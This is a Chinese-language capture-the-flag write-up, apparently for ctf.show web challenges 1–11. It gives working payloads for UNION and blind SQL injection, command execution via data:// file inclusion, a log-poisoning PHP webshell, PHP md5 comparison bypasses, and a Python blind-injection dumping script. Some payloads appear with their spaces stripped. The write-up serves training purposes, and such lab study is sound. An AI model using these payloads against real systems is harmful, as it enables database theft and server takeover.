web1
ctrl+u 查看源码找到base64编码的flag
web2
尝试使用万能密码
发现登录成功
联合查询找到回显位置
1
| 1' or 1=1 union select 1,2,3#
|
接着爆库
1
| 1' or 1=1 union select 1,database(),3#
|
爆表
1
| 1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
|
爆字段
1
| 1' or 1=1 union select 1,group_concat(column_name),3 fron information_schema.columns where table_name='flag'#
|
爆值
1
| 1' or 1=1 union select 1,flag,3 from flag#
|
得到flag
web3
页面中显示了部分源码,明显是引导我们利用文件包含漏洞进行操作,源码中的include()函数通过GET请求接受一个url参数,那接下来我们就给它传递一个url参数
用伪协议查看有哪些文件
1
| http://4ea64b5b-e0ed-4b72-b6b1-befac3ad6464.challenge.ctf.show/?url=data://text/plain,<?php echo system('ls');?>
|
发现ctf_go_go_go文件
查看内容
1
| http://4ea64b5b-e0ed-4b72-b6b1-befac3ad6464.challenge.ctf.show/?url=data://text/plain,<?php echo system('cat ctf_go_go_go');?>
|
得到flag
web4
进入题目,看到只有一句文件包含的提示。
这题使用input协议data协议都不可行,应该是被禁用了,所以从数据包入手
看到使用的是nginx服务器,那我们想到可不可以通过日志文件进行写码得到flag呢,所以我们访问日志看看
1
| ?url=/var/lg/nginx/access.log
|
查看日志发现,每访问一次数据包中的User-Agent头会被写进日志中,那就尝试在UA头中写码
1
| <?php eval($_POST['cmd']);?>
|
在UA头后插入一句话木马后日志文件里并未显示说明木马已经被解析了,然后使用蚁剑连接。
在根目录中找到flag
web5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?>
|
考察md5绕过,要求v1为为字母,v2为数字,并且v1与v2的md5值相同。
md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
输入到url中,成功获取flag
web6
username尝试输入万能密码1’ or 1=1#
密码随意
显示sql inject error,发现有字符被过滤。
逐个字符输入后发现过滤了空格,一般空格被过滤有如下替换方法
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
这里选择/**/
接下来就到了广为人知的爆库,爆表,爆字段,爆字段值环节
爆库
1 2 3
| 1'or1=1unionselect1,database(),3#
GAUSS
|
爆表
1 2 3
| 1'or1=1unionselect1,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),3#
CSHARP
|
爆字段
1 2 3
| 1'or1=1unionselect1,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='flag'),3#
CSHARP
|
爆字段值
1 2 3
| 1'or1=1unionselect1,(selectflagfromflag),3#
CSHARP
|
得到flag
web7
又又又是sql注入漏洞题
一共有三个文章,通过点击切换不同的文章可以看出url地址的差别,页面同过文章的id值来查询文章内容,我们可以考虑sql注入漏洞
首先判断注入点,输入以下payload,使sql恒成立
页面正常显示
再输入以下payload,使sql恒不成立
页面空显示
由此可以判断页面存在sql注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库
先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置
1
| -1/**/union/**/select/**/1,2,3
|
爆库
1 2 3
| -1/**/union/**/select/**/1,database(),3
AWK
|
爆表
1 2 3
| -1unionselect1,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),3
PGSQL
|
爆字段
1 2 3
| -1unionselect1,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name="flag"),3
PGSQL
|
爆字段值
1 2 3
| -1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
AWK
|
成功获取flag值
web8
python脚本进行自动化脱库,注意payload中的字符串不换行,否则可能会出问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import requests url = 'http://9d1bf0f8-9f4f-4cd2-bd17-a1024a0d065c.challenge.ctf.show/index.php?id=-1or' name = '' # 循环45次( 循环次数按照返回的字符串长度自定义) for i in range(1, 45): # 获取当前使用的数据库 # payload = 'ascii(substr(database()from%dfor1))=%d' # 获取当前数据库的所有表 # payload = 'ascii(substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database())from%dfor1))=%d' # 获取flag表的字段 # payload = 'ascii(substr((selectgroup_concat(column_name)frominformation_schema.columnswheretable_name=0x666C6167)from%dfor1))=%d' # 获取flag表的数据 payload = 'ascii(substr((selectflagfromflag)from%dfor1))=%d' count = 0 print('正在获取第 %d 个字符' % i) # 截取SQL查询结果的每个字符, 并判断字符内容 for j in range(31, 128): result = requests.get(url + payload % (i, j)) if 'If' in result.text: name += chr(j) print('数据库名/表名/字段名/数据: %s' % name) break # 如果某个字符不存在,则停止程序 count += 1 if count >= (128 - 31): exit()
|
web9
扫描发现网站目录中存在robots.txt
打开robots.txt提示打开index.phps
访问/index.phps得到源码
代码口令部分使用了MD5加密,也就是说我们输入的字符进密码框的时候会被转义成MD5,所以现在有一种方法就是把万能口令转换成MD5值到代码中执行并且绕过登陆拿到flag
万能密码
ffifdyop
转换为MD5就是:276f722736c95d99e921722cf9ed621c
转换为字符串为:’or’6xxx
web10
打开页面点击取消按钮,出现源码。
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
从源码中可以得知几乎把注入用到的关键词过滤的差不多了。
if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); }
无法双写绕过
mysql语句
①group by(将结果集中的数据行根据选择列的值进行逻辑分组)
在使用group by以后会按照password中的值进行排列:
②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
结果中将会多出一行,其中password列为null,count(*)为统计和。
payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row[‘password’]的限制成功登陆。
web11
给出了源码, 过滤了这些字符:
$regex = “/(select|from|where|join|sleep|and|\s|union|,)/i”;
满足这个条件时,输出 flag :
1 2
| if($password==$_SESSION['password']){ echo $flag;
|
F12 在存储项把 PHPsession 的值给去掉,变为空。
不输入密码进行登录,达到密码的值和 session 的值相等,得到 flag 。